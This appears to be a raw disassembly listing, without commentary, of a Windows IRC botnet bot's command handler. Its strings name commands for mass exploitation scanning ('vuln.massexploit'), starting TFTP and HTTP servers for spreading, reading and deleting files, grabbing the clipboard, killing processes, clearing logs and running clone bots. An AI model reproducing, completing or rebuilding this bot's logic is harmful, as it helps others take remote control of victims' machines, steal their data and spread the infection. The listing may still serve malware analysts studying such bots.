lea edi, [ecx+1]
mov [eax], edi
mov al, [ecx]
cmp al, ds:byte_42300C
mov [ebp+14h], edi
jnz loc_40980B
push edi
push offset aNewshit0 ; "newshit0"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40E150
push edi
push offset dword_42CA80
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40E150
cmp [ebp-0A8h], ebx
jnz short loc_409A9F
push dword ptr [ebp-9Ch]
push offset a332 ; "332"
call sub_410930
pop ecx
test eax, eax
pop ecx
jnz loc_40E148
loc_409A9F: ; CODE XREF: seg000:00409A83j
cmp [ebp+30h], ebx
jnz loc_40E148
cmp ds:dword_42561C, ebx
mov [ebp+10h], ebx
jle loc_409DB3
mov dword ptr [ebp+28h], offset dword_434B58
loc_409ABE: ; CODE XREF: seg000:00409AE4j
push edi
push dword ptr [ebp+28h]
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_409C5D
inc dword ptr [ebp+10h]
add dword ptr [ebp+28h], 0B8h
mov eax, [ebp+10h]
cmp eax, ds:dword_42561C
jl short loc_409ABE
jmp loc_409DB3
; ---------------------------------------------------------------------------
loc_409AEB: ; CODE XREF: seg000:004099F5j
; seg000:00409A0Bj
push dword ptr [ebp-9Ch]
push edi
call sub_410930
pop ecx
test eax, eax
pop ecx
jnz short loc_409B04
mov dword ptr [ebp-4], 1
loc_409B04: ; CODE XREF: seg000:00409AFBj
cmp [ebp-98h], ebx
jz loc_40980B
push (offset loc_41F1BB+1)
push dword ptr [ebp-98h]
call sub_410AE0
pop ecx
test eax, eax
pop ecx
jz short loc_409B2B
cmp [ebp-4], ebx
jz short loc_409B37
loc_409B2B: ; CODE XREF: seg000:00409B24j
lea eax, [ebp-0C4h]
mov [ebp-98h], eax
loc_409B37: ; CODE XREF: seg000:00409B29j
cmp [ebp-94h], ebx
jz loc_40980B
inc dword ptr [ebp-94h]
jz short loc_409B83
cmp [ebp+18h], ebx
jz short loc_409B83
lea eax, [ebp-464h]
push eax
call sub_410B60
push eax
lea eax, [ebp-464h]
push dword ptr [ebp-94h]
push eax
call sub_411E90
mov esi, eax
add esp, 10h
neg esi
sbb esi, esi
add esi, 4
mov [ebp-0ACh], esi
jmp short loc_409B89
; ---------------------------------------------------------------------------
loc_409B83: ; CODE XREF: seg000:00409B49j
; seg000:00409B4Ej
mov esi, [ebp-0ACh]
loc_409B89: ; CODE XREF: seg000:00409B81j
mov edi, [ebp+esi*4-0A0h]
cmp edi, ebx
jz loc_40980B
push edi
push offset dword_42CA74
call sub_410930
pop ecx
test eax, eax
pop ecx
jnz loc_409A2C
mov ecx, [ebp-98h]
cmp byte ptr [ecx], 23h
jz short loc_409C1E
mov eax, ds:dword_45ED4C
mov eax, ds:off_4230DC[eax*4]
cmp [eax], bl
jz short loc_409C1E
push eax
push ecx
push offset dword_42CA58
push dword ptr [ebp+0Ch]
call sub_40E321
lea eax, [ebp-0C4h]
push eax
lea eax, [ebp-2E4h]
push offset aSHasJustVersio ; "%s has just versioned me."
push eax
call sub_41050B
lea eax, [ebp-2E4h]
push eax
call sub_407E0E
add esp, 20h
cmp [ebp-0A8h], ebx
jnz loc_40980B
push ebx
lea eax, [ebp-2E4h]
push 1
push eax
push offset dword_45EC54
jmp loc_40DB22
; ---------------------------------------------------------------------------
loc_409C1E: ; CODE XREF: seg000:00409BB6j
; seg000:00409BC6j
push edi
push offset dword_42CA34
call sub_410930
pop ecx
test eax, eax
pop ecx
jnz loc_409A2C
mov eax, [ebp+esi*4-9Ch]
cmp eax, ebx
jz loc_409A2C
mov ecx, [ebp-98h]
cmp byte ptr [ecx], 23h
jz loc_409A2C
push eax
push ecx
push offset dword_42CA1C
jmp loc_40974D
; ---------------------------------------------------------------------------
loc_409C5D: ; CODE XREF: seg000:00409ACBj
push offset asc_42CBAC ; " :"
push dword ptr [ebp+8]
call sub_410AE0
pop ecx
cmp eax, ebx
pop ecx
jz loc_40980B
mov edi, [ebp+10h]
mov cl, ds:byte_42300C
imul edi, 0B8h
mov [eax+2], cl
mov cl, ds:byte_42300C
mov [eax+3], cl
lea ecx, dword_434B70[edi]
push 9Fh
add eax, 4
push ecx
push eax
call sub_411D00
lea eax, [ebp+esi-60h]
add esp, 0Ch
mov dword ptr [ebp+10h], 0Fh
mov [ebp+28h], eax
loc_409CB5: ; CODE XREF: seg000:00409D4Ej
push dword ptr [ebp+10h]
lea eax, [ebp-20h]
push offset aD_1 ; "$%d-"
push eax
call sub_41050B
lea eax, [ebp-20h]
push eax
push dword ptr [ebp+8]
call sub_410AE0
add esp, 14h
test eax, eax
jz short loc_409D18
mov eax, [ebp+28h]
cmp [eax], ebx
jz short loc_409D18
lea eax, dword_434B58[edi]
push eax
call sub_410B60
add [ebp-0Ch], eax
pop ecx
jz short loc_409D44
mov eax, [ebp+28h]
push dword ptr [eax-4]
push dword ptr [ebp-0Ch]
call sub_410AE0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_409D44
push eax
lea eax, [ebp-20h]
push eax
push dword ptr [ebp+8]
call sub_406C6E
add esp, 0Ch
jmp short loc_409D44
; ---------------------------------------------------------------------------
loc_409D18: ; CODE XREF: seg000:00409CD7j
; seg000:00409CDEj
mov eax, [ebp+28h]
cmp [eax], ebx
jnz short loc_409D44
lea eax, [ebp-20h]
push 2
push eax
lea eax, [ebp-14h]
push eax
call sub_411D00
lea eax, [ebp-14h]
mov [ebp-12h], bl
push eax
lea eax, [ebp-20h]
push eax
push dword ptr [ebp+8]
call sub_406C6E
add esp, 18h
loc_409D44: ; CODE XREF: seg000:00409CF0j
; seg000:00409D04j ...
dec dword ptr [ebp+10h]
sub dword ptr [ebp+28h], 4
cmp [ebp+10h], ebx
jg loc_409CB5
lea eax, [ebp+esi-60h]
mov dword ptr [ebp+10h], 10h
mov edi, eax
loc_409D61: ; CODE XREF: seg000:00409DA4j
push dword ptr [ebp+10h]
lea eax, [ebp-20h]
push offset aD_0 ; "$%d"
push eax
call sub_41050B
lea eax, [ebp-20h]
push eax
push dword ptr [ebp+8]
call sub_410AE0
add esp, 14h
test eax, eax
jz short loc_409D9B
mov eax, [edi]
cmp eax, ebx
jz short loc_409D9B
push eax
lea eax, [ebp-20h]
push eax
push dword ptr [ebp+8]
call sub_406C6E
add esp, 0Ch
loc_409D9B: ; CODE XREF: seg000:00409D83j
; seg000:00409D89j
dec dword ptr [ebp+10h]
sub edi, 4
cmp [ebp+10h], ebx
jg short loc_409D61
mov edi, [ebp+14h]
mov dword ptr [ebp-0C8h], 1
loc_409DB3: ; CODE XREF: seg000:00409AB1j
; seg000:00409AE6j
mov al, [edi]
cmp al, ds:byte_42300C
jz short loc_409DC9
cmp [ebp-0C8h], ebx
jz loc_409F8A
loc_409DC9: ; CODE XREF: seg000:00409DBBj
push dword ptr [ebp+18h]
mov edi, [ebp+8]
push offset aMe_0 ; "$me"
push edi
call sub_406C6E
lea eax, [ebp-0C4h]
push eax
push offset aUser_2 ; "$user"
push edi
call sub_406C6E
push dword ptr [ebp-98h]
push offset aChan ; "$chan"
push edi
call sub_406C6E
push ebx
push ebx
lea eax, [ebp-20h]
push 2
push eax
call sub_40FA4E
push eax
push offset aRndnick ; "$rndnick"
push edi
call sub_406C6E
add esp, 40h
push dword ptr [ebp+1Ch]
push offset aServer_2 ; "$server"
push edi
call sub_406C6E
mov edi, offset aChr ; "$chr("
push edi
push dword ptr [ebp+8]
call sub_410AE0
add esp, 14h
loc_409E38: ; CODE XREF: seg000:00409F03j
test eax, eax
jz loc_409F08
push edi
push dword ptr [ebp+8]
call sub_410AE0
mov [ebp+18h], eax
add eax, 5
push 4
push eax
lea eax, [ebp-20h]
push eax
call sub_411D00
lea eax, [ebp-20h]
push offset asc_42C9DC ; ")"
push eax
call sub_411C60
add esp, 1Ch
cmp byte ptr [ebp-20h], 30h
jl short loc_409E78
cmp byte ptr [ebp-20h], 39h
jle short loc_409E8B
loc_409E78: ; CODE XREF: seg000:00409E70j
push 3
lea eax, [ebp-20h]
push offset a63 ; "63"
push eax
call sub_411D00
add esp, 0Ch
loc_409E8B: ; CODE XREF: seg000:00409E76j
lea eax, [ebp-20h]
push eax
call sub_410A7F
test eax, eax
pop ecx
jle short loc_409EA8
lea eax, [ebp-20h]
push eax
call sub_410A7F
pop ecx
mov [ebp-14h], al
jmp short loc_409EB9
; ---------------------------------------------------------------------------
loc_409EA8: ; CODE XREF: seg000:00409E97j
call sub_410567
push 60h
cdq
pop ecx
idiv ecx
add dl, 20h
mov [ebp-14h], dl
loc_409EB9: ; CODE XREF: seg000:00409EA6j
lea eax, [ebp-20h]
mov [ebp-13h], bl
push eax
call sub_410B60
mov [ebp+10h], eax
push 0Ch
lea eax, [ebp-20h]
push ebx
push eax
call sub_410590
mov eax, [ebp+10h]
add eax, 6
push eax
lea eax, [ebp-20h]
push dword ptr [ebp+18h]
push eax
call sub_411D00
lea eax, [ebp-14h]
push eax
lea eax, [ebp-20h]
push eax
push dword ptr [ebp+8]
call sub_406C6E
push edi
push dword ptr [ebp+8]
call sub_410AE0
add esp, 30h
jmp loc_409E38
; ---------------------------------------------------------------------------
loc_409F08: ; CODE XREF: seg000:00409E3Aj
mov edi, 1FFh
lea eax, [ebp-0F9Ch]
push edi
push dword ptr [ebp+8]
push eax
call sub_411D00
lea eax, [ebp-0F9Ch]
push edi
push eax
lea eax, [ebp-119Ch]
push eax
call sub_411D00
lea eax, [ebp-119Ch]
push offset asc_41F6B0 ; " "
push eax
call sub_411C60
add esp, 20h
mov [ebp-0A0h], eax
lea edi, [ebp-9Ch]
mov dword ptr [ebp+18h], 1Fh
loc_409F58: ; CODE XREF: seg000:00409F6Dj
push offset asc_41F6B0 ; " "
push ebx
call sub_411C60
mov [edi], eax
pop ecx
add edi, 4
dec dword ptr [ebp+18h]
pop ecx
jnz short loc_409F58
mov ecx, [ebp+esi-0A0h]
lea eax, [ebp+esi-0A0h]
cmp ecx, ebx
jz loc_40980B
add ecx, 3
mov [eax], ecx
loc_409F8A: ; CODE XREF: seg000:00409DC3j
mov edi, [ebp+esi-0A0h]
push edi
push offset aEnz_rndnick ; "enz.rndnick"
mov [ebp+18h], edi
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40E0FB
push edi
push offset aEnz_rn ; "enz.rn"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40E0FB
push edi
push offset aEnz_endsess ; "enz.endsess"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40E0D9
push edi
push offset aEnz_d ; "enz.d"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40E0D9
push edi
push offset aEnz_logout ; "enz.logout"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40E02E
push edi
push offset aEnz_lo ; "enz.lo"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40E02E
push edi
push offset aServer_rlogin_ ; "server.rlogin.off"
call sub_410930
pop ecx
test eax, eax
pop ecx
jnz short loc_40A03B
push dword ptr [ebp+esi-9Ch]
push 6
push offset aServer ; "Server"
push offset dword_42C970
jmp loc_40E012
; ---------------------------------------------------------------------------
loc_40A03B: ; CODE XREF: seg000:0040A021j
push edi
push offset dword_42C960
call sub_410930
pop ecx
test eax, eax
pop ecx
jnz short loc_40A064
push dword ptr [ebp+esi-9Ch]
push 3
push offset aServer ; "Server"
push offset dword_42C954
jmp loc_40E012
; ---------------------------------------------------------------------------
loc_40A064: ; CODE XREF: seg000:0040A04Aj
push edi
push offset dword_42C94C
call sub_410930
pop ecx
test eax, eax
pop ecx
jnz short loc_40A08D
push dword ptr [ebp+esi-9Ch]
push 1Ch
push offset dword_42C940
push offset dword_42C934
jmp loc_40E012
; ---------------------------------------------------------------------------
loc_40A08D: ; CODE XREF: seg000:0040A073j
push edi
push offset aServer_redirec ; "server.redirect.off"
call sub_410930
pop ecx
test eax, eax
pop ecx
jnz short loc_40A0B6
push dword ptr [ebp+esi-9Ch]
push 10h
push offset dword_42C910
push offset dword_42C900
jmp loc_40E012
; ---------------------------------------------------------------------------
loc_40A0B6: ; CODE XREF: seg000:0040A09Cj
push edi
push offset dword_42C8F4
call sub_410930
pop ecx
test eax, eax
pop ecx
jnz short loc_40A0DF
push dword ptr [ebp+esi-9Ch]
push 0Ah
push offset dword_42C8E8
push offset dword_42C8DC
jmp loc_40E012
; ---------------------------------------------------------------------------
loc_40A0DF: ; CODE XREF: seg000:0040A0C5j
push edi
push offset dword_42C8CC
call sub_410930
pop ecx
test eax, eax
pop ecx
jnz short loc_40A108
push dword ptr [ebp+esi-9Ch]
push 0Bh
push offset dword_42C8C0
push offset dword_42C8B4
jmp loc_40E012
; ---------------------------------------------------------------------------
loc_40A108: ; CODE XREF: seg000:0040A0EEj
push edi
push offset dword_42C8A4
call sub_410930
pop ecx
test eax, eax
pop ecx
jnz short loc_40A131
push dword ptr [ebp+esi-9Ch]
push 0Fh
push offset dword_42C898
push offset dword_42C88C
jmp loc_40E012
; ---------------------------------------------------------------------------
loc_40A131: ; CODE XREF: seg000:0040A117j
push edi
push offset dword_42C87C
call sub_410930
pop ecx
test eax, eax
pop ecx
jnz short loc_40A15A
push dword ptr [ebp+esi-9Ch]
push 0Eh
push offset dword_42C870
push offset dword_42C864
jmp loc_40E012
; ---------------------------------------------------------------------------
loc_40A15A: ; CODE XREF: seg000:0040A140j
push edi
push offset aServer_tftp_of ; "server.tftp.off"
call sub_410930
pop ecx
test eax, eax
pop ecx
jnz short loc_40A183
push dword ptr [ebp+esi-9Ch]
push 4
push offset aServer ; "Server"
push offset dword_42C848
jmp loc_40E012
; ---------------------------------------------------------------------------
loc_40A183: ; CODE XREF: seg000:0040A169j
push edi
push offset aBox_procs_off ; "box.procs.off"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40DFFF
push edi
push offset aBox_ps_off ; "box.ps.off"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40DFFF
push edi
push offset aClone_off ; "clone.off"
call sub_410930
pop ecx
test eax, eax
pop ecx
jnz short loc_40A1D6
push dword ptr [ebp+esi-9Ch]
push 17h
push offset aClone ; "Clone"
push offset dword_42C808
jmp loc_40E012
; ---------------------------------------------------------------------------
loc_40A1D6: ; CODE XREF: seg000:0040A1BCj
push edi
push offset aLockdown_stop ; "lockdown.stop"
call sub_410930
pop ecx
test eax, eax
pop ecx
jnz short loc_40A1FF
push dword ptr [ebp+esi-9Ch]
push 19h
push offset aSecure ; "Secure"
push offset dword_42C7E0
jmp loc_40E012
; ---------------------------------------------------------------------------
loc_40A1FF: ; CODE XREF: seg000:0040A1E5j
push edi
push offset aVuln_stop ; "vuln.stop"
call sub_410930
pop ecx
test eax, eax
pop ecx
jnz short loc_40A228
push dword ptr [ebp+esi-9Ch]
push 8
push offset aScan ; "Scan"
push offset aExploitation ; "Exploitation"
jmp loc_40E012
; ---------------------------------------------------------------------------
loc_40A228: ; CODE XREF: seg000:0040A20Ej
push edi
push offset aVuln_stats ; "vuln.stats"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40DFE6
push edi
push offset aVuln_st ; "vuln.st"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40DFE6
push edi
push offset aEnz_reh4sh ; "enz.reh4sh"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40DFC5
push edi
push offset aEnz_rh4 ; "enz.rh4"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40DFC5
push edi
push offset aEnz_endt3rm ; "enz.endt3rm"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40DFA3
push edi
push offset aEnz_et3 ; "enz.et3"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40DFA3
push edi
push offset aEnz_t3rm1nate ; "enz.t3rm1nate"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40DF5B
push edi
push offset aEnz_t3rm1 ; "enz.t3rm1"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40DF5B
push edi
push offset aEnz_status ; "enz.status"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40DF1D
push edi
push offset aEnz_s ; "enz.s"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40DF1D
push edi
push offset aEnz_id ; "enz.id"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40DEE6
push edi
push offset aEnz_i ; "enz.i"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40DEE6
push edi
push offset aBox_rebewt ; "box.rebewt"
call sub_410930
pop ecx
test eax, eax
pop ecx
jnz short loc_40A376
call sub_4070B7
test eax, eax
mov eax, offset dword_42C704
jnz short loc_40A348
mov eax, offset dword_42C6CC
loc_40A348: ; CODE XREF: seg000:0040A341j
push eax
lea eax, [ebp-2E4h]
push eax
call sub_41050B
push ebx
lea eax, [ebp-2E4h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-98h]
push dword ptr [ebp+0Ch]
call sub_40E367
add esp, 1Ch
jmp loc_40C67D
; ---------------------------------------------------------------------------
loc_40A376: ; CODE XREF: seg000:0040A333j
push edi
push offset aThreads_list ; "threads.list"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40DDEF
push edi
push offset aThreads_l ; "threads.l"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40DDEF
push edi
push offset aEnz_aliases ; "enz.aliases"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40DDCC
push edi
push offset aEnz_al ; "enz.al"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40DDCC
push edi
push offset aEnz_log ; "enz.log"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40DCDC
push edi
push offset aEnz_lg ; "enz.lg"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40DCDC
push edi
push offset aUtil_clearlog ; "util.clearlog"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40DCC0
push edi
push offset aUtil_clg ; "util.clg"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40DCC0
push edi
push offset aBox_netinfo ; "box.netinfo"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40DC86
push edi
push offset aBox_ni ; "box.ni"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40DC86
push edi
push offset aBox_sysinfo ; "box.sysinfo"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40DC5B
push edi
push offset aBox_si ; "box.si"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40DC5B
push edi
push offset aEnz_be010ne ; "enz.be010ne"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40DC21
push edi
push offset aEnz_010 ; "enz.010"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40DC21
push edi
push offset aBox_procs ; "box.procs"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40DAFE
push edi
push offset aBox_ps ; "box.ps"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40DAFE
push edi
push offset aBox_uptime ; "box.uptime"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40DA77
push edi
push offset aBox_up ; "box.up"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40DA77
push edi
push offset aBox_driveinfo ; "box.driveinfo"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40DA5A
push edi
push offset aBox_drv ; "box.drv"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40DA5A
push edi
push offset aBox_testdlls ; "box.testdlls"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40DA41
push edi
push offset aBox_dll ; "box.dll"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40DA41
push edi
push offset aEnz_who ; "enz.who"
call sub_410930
pop ecx
test eax, eax
pop ecx
jnz short loc_40A5CB
cmp [ebp-8], ebx
jnz short loc_40A574
push ebx
push dword ptr [ebp-4]
push offset aLoginList ; "-[Login List]-"
push dword ptr [ebp-98h]
push dword ptr [ebp+0Ch]
call sub_40E367
add esp, 14h
loc_40A574: ; CODE XREF: seg000:0040A558j
mov edi, [ebp+20h]
xor esi, esi
loc_40A579: ; CODE XREF: seg000:0040A5BFj
cmp [edi], bl
lea eax, [edi+1]
jnz short loc_40A585
mov eax, offset aEmpty ; "<Empty>"
loc_40A585: ; CODE XREF: seg000:0040A57Ej
push eax
push esi
lea eax, [ebp-2E4h]
push offset aD_S ; "%d. %s"
push eax
call sub_41050B
push 1
lea eax, [ebp-2E4h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-98h]
push dword ptr [ebp+0Ch]
call sub_40E367
add esp, 24h
inc esi
add edi, 80h
cmp esi, 2
jl short loc_40A579
push offset dword_42C580
jmp loc_40DEDB
; ---------------------------------------------------------------------------
loc_40A5CB: ; CODE XREF: seg000:0040A553j
push edi
push offset aBox_getclip ; "box.getclip"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40DA00
push edi
push offset aBox_gc ; "box.gc"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40DA00
push edi
push offset aUtil_flusharp ; "util.flusharp"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40D9D5
push edi
push offset aUtil_farp ; "util.farp"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40D9D5
push edi
push offset aUtil_flushdns ; "util.flushdns"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40D9B1
push edi
push offset aUtil_fdns ; "util.fdns"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40D9B1
push edi
push offset aVuln_currentip ; "vuln.currentip"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40D977
push edi
push offset aVuln_cip ; "vuln.cip"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40D977
push edi
push offset aServer_httpd_o ; "server.httpd.on"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40D7DD
push edi
push offset aServer_web_on ; "server.web.on"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40D7DD
push edi
push offset aServer_tftp_on ; "server.tftp.on"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40D691
push edi
push offset aServer_tf_on ; "server.tf.on"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40D691
push edi
push offset aVuln_massexplo ; "vuln.massexploit"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40D384
push edi
push offset aVall ; "vall"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40D384
mov edi, [ebp+esi-9Ch]
cmp edi, ebx
jz loc_40980B
push dword ptr [ebp+18h]
push offset aEnz_nick ; "enz.nick"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40D363
push dword ptr [ebp+18h]
push offset aEnz_n ; "enz.n"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40D363
push dword ptr [ebp+18h]
push offset aEnz_join ; "enz.join"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40D343
push dword ptr [ebp+18h]
push offset aEnz_j ; "enz.j"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40D343
push dword ptr [ebp+18h]
push offset aEnz_part ; "enz.part"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40D32D
push dword ptr [ebp+18h]
push offset aEnz_pt ; "enz.pt"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40D32D
push dword ptr [ebp+18h]
push offset aEnz_raw ; "enz.raw"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40D2F9
push dword ptr [ebp+18h]
push offset aEnz_r ; "enz.r"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40D2F9
push dword ptr [ebp+18h]
push offset aThreads_kill ; "threads.kill"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40D236
push dword ptr [ebp+18h]
push offset aThreads_k ; "threads.k"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40D236
push dword ptr [ebp+18h]
push offset aClone_quit ; "clone.quit"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40D18B
push dword ptr [ebp+18h]
push offset aClone_q ; "clone.q"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40D18B
push dword ptr [ebp+18h]
push offset aClone_rndnick ; "clone.rndnick"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40D143
push dword ptr [ebp+18h]
push offset aClone_rn ; "clone.rn"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40D143
push dword ptr [ebp+18h]
push offset aEnz_prefix ; "enz.prefix"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40D12E
push dword ptr [ebp+18h]
push offset aEnz_pr ; "enz.pr"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40D12E
push dword ptr [ebp+18h]
push offset aBox_open ; "box.open"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40D104
push dword ptr [ebp+18h]
push offset aBox_o ; "box.o"
call sub_410930
pop ecx
test eax, eax
pop ecx
loc_40A898: ; DATA XREF: seg002:0041ECCCo
; seg002:0041ED10o ...
jz loc_40D104
push dword ptr [ebp+18h]
push offset aEnz_setserve ; "enz.setserve"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40D0DF
push dword ptr [ebp+18h]
push offset aEnz_se ; "enz.se"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40D0DF
push dword ptr [ebp+18h]
push offset aEnz_dns ; "enz.dns"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40D04D
push dword ptr [ebp+18h]
push offset aEnz_dn ; "enz.dn"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40D04D
push dword ptr [ebp+18h]
push offset aBox_killprocna ; "box.killprocname"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40D021
push dword ptr [ebp+18h]
push offset aBox_kpn ; "box.kpn"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40D021
push dword ptr [ebp+18h]
push offset aBox_prockillid ; "box.prockillid"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40CFC6
push dword ptr [ebp+18h]
push offset aBox_pkid ; "box.pkid"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40CFC6
push dword ptr [ebp+18h]
push offset aBox_delete ; "box.delete"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40CF8F
push dword ptr [ebp+18h]
push offset aBox_del ; "box.del"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40CF8F
push dword ptr [ebp+18h]
push offset aBox_filelist ; "box.filelist"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40CF74
push dword ptr [ebp+18h]
push offset aBox_fl ; "box.fl"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40CF74
push dword ptr [ebp+18h]
push offset aMirc_cmd ; "mirc.cmd"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40CF39
push dword ptr [ebp+18h]
push offset aMirc_cmd ; "mirc.cmd"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40CF39
push dword ptr [ebp+18h]
push offset aBox_readfile ; "box.readfile"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40CEA5
push dword ptr [ebp+18h]
push offset aBox_rf ; "box.rf"
call sub_410930
pop ecx
test eax, eax
pop ecx
jz loc_40CEA5
push dword ptr [ebp+18h]
push offset aBox_net ; "box.net"
call sub_410930
pop ecx
test eax, eax
pop ecx
jnz loc_40ACAA
cmp ds:dword_430860, ebx
jz short loc_40AA3F
cmp ds:dword_430888, ebx
jz short loc_40AA3F
push offset dword_42C2F8
jmp loc_40D0A7
; ---------------------------------------------------------------------------
loc_40AA3F: ; CODE XREF: seg000:0040AA2Bj
; seg000:0040AA33j
cmp [ebp-0Ch], ebx
jz loc_40D0B5
mov eax, [ebp+esi-98h]
mov [ebp+8], ebx
cmp eax, ebx
mov [ebp+20h], eax
jz short loc_40AA67
push eax
push dword ptr [ebp-0Ch]
call sub_410AE0
pop ecx
mov [ebp+8], eax
pop ecx
loc_40AA67: ; CODE XREF: seg000:0040AA57j
push edi
push offset aStart ; "start"
call sub_410930
pop ecx
test eax, eax
pop ecx
jnz short loc_40AACD
cmp [ebp+20h], ebx
jz short loc_40AAA1
push dword ptr [ebp+8]
push 3
loc_40AA82: ; CODE XREF: seg000:0040AAE3j
; seg000:0040AAFBj ...
call sub_40E402
push eax
lea eax, [ebp-2E4h]
push offset aS_1 ; "%s"
push eax
call sub_41050B
add esp, 14h
jmp loc_40D0B5
; ---------------------------------------------------------------------------
loc_40AAA1: ; CODE XREF: seg000:0040AA7Bj
push dword ptr [ebp-4]
push dword ptr [ebp-98h]
push dword ptr [ebp+0Ch]
call sub_40E6A9
add esp, 0Ch
test eax, eax
jz short loc_40AAC3
push offset dword_42C2C0
jmp loc_40D0A7
; ---------------------------------------------------------------------------
loc_40AAC3: ; CODE XREF: seg000:0040AAB7j
push offset dword_42C28C
jmp loc_40D0A7
; ---------------------------------------------------------------------------
loc_40AACD: ; CODE XREF: seg000:0040AA76j
push edi
push offset aStop ; "stop"
call sub_410930
pop ecx
test eax, eax
pop ecx
jnz short loc_40AAE5
push dword ptr [ebp+8]
push 4
jmp short loc_40AA82
; ---------------------------------------------------------------------------
loc_40AAE5: ; CODE XREF: seg000:0040AADCj
push edi
push offset aPause ; "pause"
call sub_410930
pop ecx
test eax, eax
pop ecx
jnz short loc_40AAFD
push dword ptr [ebp+8]
push 5
jmp short loc_40AA82
; ---------------------------------------------------------------------------
loc_40AAFD: ; CODE XREF: seg000:0040AAF4j
push edi
push offset aContinue ; "continue"
call sub_410930
pop ecx
test eax, eax
